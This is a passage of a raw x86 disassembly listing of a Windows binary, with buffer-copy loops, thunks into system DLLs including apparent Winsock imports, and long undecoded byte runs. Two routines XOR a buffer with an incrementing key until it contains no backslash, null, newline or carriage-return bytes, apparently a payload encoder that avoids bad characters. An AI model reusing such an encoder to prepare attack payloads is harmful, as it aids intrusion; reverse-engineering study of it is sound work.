eax, eax mov edx, [esp+2044h] repne scasb not ecx dec ecx lea ebx, [ecx+edx+1] push ebx nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+2044h] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_448B97+1) mov edi, edx add esp, 28h rep movsd lea edi, [esp+1Ch] or ecx, 0FFFFFFFFh repne scasb mov [esp+10h], edx mov edx, [esp+2024h] not ecx mov eax, ecx lea esi, [esp+1Ch] lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2044h] and ecx, 3 test eax, eax rep movsb jz short loc_4376F2 push ebx push ebp call eax add esp, 8 loc_4376F2: ; CODE XREF: ___:004376E9j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_437734: ; CODE XREF: ___:004377ADj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4377AF loc_437774: ; CODE XREF: ___:00437742j ; ___:00437752j ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+14h] inc ecx test ebx, ebx mov [esp+14h], ecx jle short loc_4377A6 loc_437799: ; CODE XREF: ___:004377A4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_437799 loc_4377A6: ; CODE XREF: ___:00437797j mov edx, [esp+10h] mov [edx+13h], cl jmp short loc_437734 ; --------------------------------------------------------------------------- loc_4377AF: ; CODE XREF: ___:00437772j mov eax, [esp+18h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+2030h] mov edx, [esp+202Ch] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+14h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+14h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx add esp, 200Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_4378B0: ; CODE XREF: ___:0040191Fj push ecx push ebx mov ebx, [esp+10h] push ebp push esi push edi push ebx mov dword ptr [esp+14h], 98h nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+30h] add esp, 8 mov ecx, 6 mov esi, (offset loc_448B97+1) mov edi, edx mov [esp+1Ch], edx test eax, eax rep movsd jz short loc_43792D push ebx push ebp call eax add esp, 8 loc_43792D: ; CODE XREF: ___:00437924j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43796F: ; CODE XREF: ___:004379E8j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4379EA loc_4379AF: ; CODE XREF: ___:0043797Dj ; ___:0043798Dj ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4379E1 loc_4379D4: ; CODE XREF: ___:004379DFj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4379D4 loc_4379E1: ; CODE XREF: ___:004379D2j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43796F ; --------------------------------------------------------------------------- loc_4379EA: ; CODE XREF: ___:004379ADj mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 68h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437AB8 proc near ; CODE XREF: SEH_403530+5j ; SEH_403720+5j ... nop jmp near ptr 77C227FAh sub_437AB8 endp ; --------------------------------------------------------------------------- align 10h dword_437AC0 dd 7FE448E9h, 0E990E377h, 777E444Ch, 7F18F6E9h ; ___:0043F018o ... db 77h, 7Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437AD2 proc near ; CODE XREF: ___:00406C30p ; sub_406C50+11p ... nop jmp near ptr 77C29CDDh sub_437AD2 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0B2h, 0FFh dd 7DE97780h, 4E778101h, 1FBE990h db 81h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437AEA proc near ; CODE XREF: sub_406C80+47p ; ___:00406D1Ap ... nop jmp near ptr 77C29CC5h sub_437AEA endp ; --------------------------------------------------------------------------- dword_437AF0 dd 7E99F2E9h, 0C18B9577h, 0F1D400C7h, 4C20043h, 0F18B5600h dd 3B3E8h, 2444F600h, 7740108h, 0FFBCE856h, 8B59FFFFh dd 4C25EC6h, 0C2C18B00h db 4, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437B22 proc near ; CODE XREF: sub_409660+4Dp ; ___:0040AA7Dp nop jmp near ptr 77C226F6h sub_437B22 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 5Ch, 84h ; --------------------------------------------------------------------------- xor byte ptr [edi-34h], 0CCh ; =============== S U B R O U T I N E ======================================= sub_437B30 proc near ; CODE XREF: sub_40A110+5p ; sub_410030+1Ap ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_437B50 loc_437B3C: ; CODE XREF: sub_437B30+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_437B3C loc_437B50: ; CODE XREF: sub_437B30+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_437B30 endp ; --------------------------------------------------------------------------- db 0CCh db 90h db 0E9h, 2 dup(0FAh) dd 0E9907780h, 777E5424h, 807F05E9h, 0E990FA77h, 7780FED8h dd 802301E9h, 0E9901677h, 7780FD9Ch, 487DE990h, 3D83777Fh dd 5109D4h, 0FF0C75FFh, 90042474h, 7FD25BE8h, 68C35977h dd 5109C4h, 5109D468h, 2474FF00h, 310E80Ch, 0C4830000h dd 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h, 0C348D8F7h dd 464DE990h, 0E990777Fh, 777FF5E8h, 7FF5FAE9h db 77h, 0E8h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437BDA proc near ; CODE XREF: sub_4199C0+28p nop jmp near ptr 77C4FA10h sub_437BDA endp ; =============== S U B R O U T I N E ======================================= sub_437BE0 proc near ; CODE XREF: sub_41B920+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_437C01 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_437C51 ; --------------------------------------------------------------------------- loc_437C01: ; CODE XREF: sub_437BE0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_437C0F: ; CODE XREF: sub_437BE0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_437C0F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_437C3A cmp edx, [esp+4+arg_4] ja short loc_437C3A jb short loc_437C42 cmp eax, [esp+4+arg_0] jbe short loc_437C42 loc_437C3A: ; CODE XREF: sub_437BE0+4Aj ; sub_437BE0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_437C42: ; CODE XREF: sub_437BE0+52j ; sub_437BE0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_437C51: ; CODE XREF: sub_437BE0+1Fj pop ebx retn 10h sub_437BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_437C60 proc near ; CODE XREF: sub_41B920+30p ; sub_41B920+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_437C82 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_437CC3 ; --------------------------------------------------------------------------- loc_437C82: ; CODE XREF: sub_437C60+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_437C90: ; CODE XREF: sub_437C60+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_437C90 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_437CBE cmp edx, [esp+8+arg_4] ja short loc_437CBE jb short loc_437CBF cmp eax, [esp+8+arg_0] jbe short loc_437CBF loc_437CBE: ; CODE XREF: sub_437C60+4Ej ; sub_437C60+54j dec esi loc_437CBF: ; CODE XREF: sub_437C60+56j ; sub_437C60+5Cj xor edx, edx mov eax, esi loc_437CC3: ; CODE XREF: sub_437C60+20j pop esi pop ebx retn 10h sub_437C60 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0E3h, 8Dh dd 0E9907780h, 7780733Ch, 187E990h, 0E9907781h, 77809196h dd 9515E990h, 89E97780h, 7778098h, 96AAE990h, 44E97780h dd 0B377809Ah, 80FEE3E9h, 0E9900477h, 77809E6Eh, 8071EDE9h dd 0E990CA77h, 77809103h, 43ADE990h, 46E9777Fh, 0C777E48h dd 7FF0D1E9h, 0D3E9A477h, 74777FF4h, 758EE990h, 0E990777Eh dd 77807BFDh, 9B30E990h, 9CE97780h, 0FA778026h, 25C1E990h dd 0E9907780h, 778113C7h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437D4C proc near ; CODE XREF: ___:0043297Cp nop jmp near ptr 77C3619Ch sub_437D4C endp ; --------------------------------------------------------------------------- dw 1DE9h dword_437D54 dd 16777FF0h, 8E53E990h, 83517780h, 8616FCFBh, 64A044C4h dd 64D430C0h, 0B401F2C4h, 6D652C10h, 0D489FFBFh, 684618Fh dd 5653DE64h, 0E8658957h, 5D89DB33h, 90026AFCh, 7FD5EBE8h dd 0D835977h, 5109C4h, 0D40D83FFh, 0FF005109h, 7435E890h dd 0D8B777Eh, 5108C4h, 0E8900889h, 777E73F0h, 8C00D8Bh dd 8890051h, 511A28A1h, 0A3008B00h, 5109B8h, 12EE8h, 0C01D3900h dd 7500448Ch, 7EF8680Ch, 0E8900043h, 77815895h, 0FAE859h dd 18680000h, 68004444h, 444314h, 0E5E8h, 8BCA100h, 45890051h dd 94458D94h, 0B835FF50h, 8D005108h, 8D509C45h, 8D509045h dd 9050A045h, 7E70D2E8h, 42106877h, 680044h, 0E8004440h dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 99E850A4h dd 90022E81h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h, 2469F11h dd 0A050E850h, 4589FFFCh, 0E8905098h, 77801FE2h, 8BEC458Bh dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh dd 0DFE88875h, 9077801Fh, 99A6E990h, 8AE9777Eh, 9F777FCFh dd 1FCCE990h, 0E9907780h, 777FAEDAh, 7011E990h, 0E990777Eh dd 77801E87h, 3000068h, 6800h, 25E80001h, 59000000h, 0E990C359h dd 7781577Dh, 0C3C3C033h, 72A2E990h, 0D4E9777Eh, 9A777E72h dd 0D46EE990h, 0E990777Fh, 777FDD80h, 816F16E9h, 0E990C277h dd 75C6844Bh, 0C6852AE9h, 0E9907975h, 75C5A102h, 0C57554E9h dd 0F9E9E675h, 4B75C684h, 0C4A02AE9h, 0E9902F75h, 75C53908h dd 0C5F766E9h, 0E990A475h, 75C4DB94h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_437F50 proc near ; CODE XREF: sub_4193C0+17Ep jmp near ptr 76D6AC1Dh sub_437F50 endp ; --------------------------------------------------------------------------- db 6Ch, 90h, 0E9h dd 23B8C56h, 3B8CDEE9h, 0E990E102h, 23C8098h, 8553E990h dd 0E990023Ch, 23D808Ch, 8086E990h, 0E990023Eh, 23F8080h dd 807AE990h, 2BE90240h, 0BB024097h, 40989FE9h, 0E990AE02h dd 2409CD7h, 418063E9h, 9DE99F02h, 0CA024181h, 41883FE9h dd 0E9904602h, 2418BD8h, 42804BE9h, 0E9906702h, 2438044h dd 4384B7E9h, 0E990C502h, 2448038h, 8032E990h, 2DE90245h dd 2F024680h, 4691C2E9h, 0E9907B02h, 2469DBDh, 801AE990h dd 0E9900247h, 247863Ch, 478B2EE9h, 0E990F002h, 2488008h dd 83C5E990h, 0E9900248h, 23B88C4h, 7FF6E990h, 0E990023Bh dd 23A7FF0h, 8888E990h, 0E9900239h, 2397FE4h, 7FDEE990h dd 0E9900238h, 2378449h, 377FD3E9h, 0E9905802h, 2368A11h dd 3683D9E9h, 40E9A602h, 6C023682h, 7FBAE990h, 0E990022Dh dd 23681E6h, 368197E9h, 96E9C002h, 0F57C4C90h, 8FA7E990h dd 9DE97C4Ch, 9C02367Fh, 8C97E990h, 0E9900235h, 23586B0h dd 7F8AE990h, 0E9900235h, 2348B20h, 8AA0E990h, 0E9900234h dd 23488D6h, 87BEE990h, 0E9900234h, 23485B0h, 348312E9h dd 0E990DC02h, 2348134h, 7F5AE990h, 0E9900234h, 2338C83h dd 88D0E990h, 0E9900233h, 233885Fh, 8369E990h, 0E9900233h dd 2338311h, 7F36E990h, 0E9900233h, 2328B51h, 8873E990h dd 0E9900232h, 2328472h, 327F1FE9h, 0E990ED02h, 2318804h dd 878AE990h, 0E9900231h, 2318180h, 7F06E990h, 0E9900231h dd 2308952h, 3085EBE9h, 0E990B802h, 2307EF4h, 8CD7E990h dd 0E990022Fh, 22F8B5Ah, 8858E990h, 0E990022Fh, 22F8609h dd 7ED6E990h, 0E990022Fh, 22E7ED0h, 0F39BE990h, 0E990001Bh dd 248894Fh, 9005E990h, 0E9900253h, 24F7EB8h, 537EB3E9h dd 0ADE92D02h, 3202527Eh, 518BF4E9h, 0E9908802h, 2517EA0h dd 8100E990h, 0E9900250h, 2507E94h, 89EEE990h, 0E990024Fh dd 24F8725h, 85CFE990h, 0E990024Fh, 24F838Eh, 7E76E990h dd 50E90249h, 0E024E89h, 861CE990h, 0ECE9024Eh, 62024E82h dd 4E7E5FE9h, 0E9903402h, 24D7E58h, 7E52E990h, 0E990024Ch dd 24B9A19h, 963BE990h, 0E990024Bh, 24B93D4h, 4B9280E9h dd 35E97B02h, 0BD024B7Eh, 4A7E2FE9h, 39E93902h, 747C608Fh dd 67BD64E9h db 71h, 9Ah ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381DE proc near ; CODE XREF: ___:0042DBE1p nop jmp near ptr 71AB4FD4h sub_4381DE endp ; --------------------------------------------------------------------------- dd 686290E9h db 71h, 88h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381EA proc near ; CODE XREF: sub_42DBD1+1p nop jmp near ptr 71AB2BF4h sub_4381EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4381F0 proc near ; CODE XREF: sub_42DF40+E5p ; sub_42EF60+4Fp jmp near ptr 71AB615Ah sub_4381F0 endp ; --------------------------------------------------------------------------- db 79h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4381F6 proc near ; CODE XREF: sub_42E490+9Ap ; sub_42F040+45p ... jmp near ptr 71AB428Ah sub_4381F6 endp ; --------------------------------------------------------------------------- push cs ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381FC proc near ; CODE XREF: sub_42F2C0+53p ; sub_42F2C0+96p ... nop jmp near ptr 71AB9639h sub_4381FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438202 proc near nop jmp near ptr 71AC1028h sub_438202 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438208 proc near ; CODE XREF: sub_42E170+71p ; sub_42ED50+50p nop jmp near ptr 71AB2DC0h sub_438208 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7167A9ACh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438214 proc near nop jmp near ptr 71AB88D3h sub_438214 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7167A946h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438220 proc near ; CODE XREF: sub_42E870+187p jmp near ptr 71AB951Eh sub_438220 endp ; --------------------------------------------------------------------------- db 0Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438226 proc near nop jmp near ptr 71AB3E00h sub_438226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43822C proc near ; CODE XREF: sub_42DB00+B1p nop jmp near ptr 71AB2B66h sub_43822C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438232 proc near ; CODE XREF: ___:0042DC2Fp ; sub_42E870+152p nop jmp near ptr 71AB3B91h sub_438232 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438238 proc near nop jmp near ptr 71AB406Ah sub_438238 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7167C1E4h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438244 proc near ; CODE XREF: sub_42DA80+10p nop jmp near ptr 71AB664Dh sub_438244 endp ; --------------------------------------------------------------------------- dw 79E9h dd 327167CEh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438250 proc near ; CODE XREF: sub_434BA0+Bp nop jmp near ptr 71AB94DCh sub_438250 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438256 proc near ; CODE XREF: sub_41A7D0+92p ; sub_41A9C0+CAp ... nop jmp near ptr 71AB4544h sub_438256 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0EEh, 88h ; --------------------------------------------------------------------------- push 0B1E99071h retn 7167h ; --------------------------------------------------------------------------- db 90h db 0E9h, 52h, 0A9h dd 0E9907167h, 7167AA9Bh, 67A9F0E9h db 71h, 0E1h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_43827A proc near jmp near ptr 71AB3EA1h sub_43827A endp ; --------------------------------------------------------------------------- db 92h db 90h db 0E9h, 0E3h, 4 dd 0E9907168h, 7167C1FDh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43828C proc near ; CODE XREF: sub_42DB00+53p ; sub_42DB00+C3p nop jmp near ptr 71ABE6EBh sub_43828C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438292 proc near ; CODE XREF: sub_42F2C0+4Ap nop jmp near ptr 71AC0BDEh sub_438292 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438298 proc near nop jmp near ptr 71AB2A5Eh sub_438298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_43829E proc near ; CODE XREF: ___:0041C2B7p ; ___:0041C2CCp jmp near ptr 71B2578Ch sub_43829E endp ; --------------------------------------------------------------------------- inc esi ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382A4 proc near ; CODE XREF: ___:0041C40Dp ; ___:0041C42Fp nop jmp near ptr 71B25099h sub_4382A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4382AA proc near ; CODE XREF: ___:00426390p jmp near ptr 71B2517Fh sub_4382AA endp ; --------------------------------------------------------------------------- db 34h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382B0 proc near ; CODE XREF: sub_420090+B4p nop jmp near ptr 76BF215Ah sub_4382B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382B6 proc near ; CODE XREF: sub_420090+9Bp nop jmp near ptr 76BF1F1Ch sub_4382B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382BC proc near ; CODE XREF: sub_420090+21p nop jmp near ptr 76BF3A9Ah sub_4382BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382C2 proc near ; CODE XREF: ___:0041B2B4p nop jmp near ptr 76F36C5Bh sub_4382C2 endp ; --------------------------------------------------------------------------- dword_4382C8 dd 80DF81E9h, 0E9908877h, 7780DE51h, 0DE96E990h, 0E9907780h dd 7780E040h, 2C4h dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh dd 8DFFFC84h, 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h dd 0FC8415E9h, 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh dd 0E083FFFFh, 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h ; --------------------------------------------------------------------------- inc ebx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403530 proc near ; DATA XREF: sub_403530+2o mov eax, offset dword_43F470 jmp sub_437AB8 SEH_403530 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9 jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_438E6B: ; DATA XREF: ___:0043F4ECo mov ecx, [ebp-10h] add ecx, 52h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E4h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 12Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 176h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 208h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 251h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 29Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2E3h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32Ch jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 375h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3BEh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 407h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 450h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 499h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4E2h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 52Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 574h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 5BDh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 606h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64Fh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 698h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6E1h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 72Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 773h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 7BCh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 805h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84Eh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 897h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8E0h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 929h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 972h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9BBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A04h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A4Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A96h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0ADFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B28h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B71h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B9Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCDh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BFBh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C29h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C57h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C85h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CB3h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CE1h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D0Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D3Dh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D6Bh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D99h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DC7h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DF5h 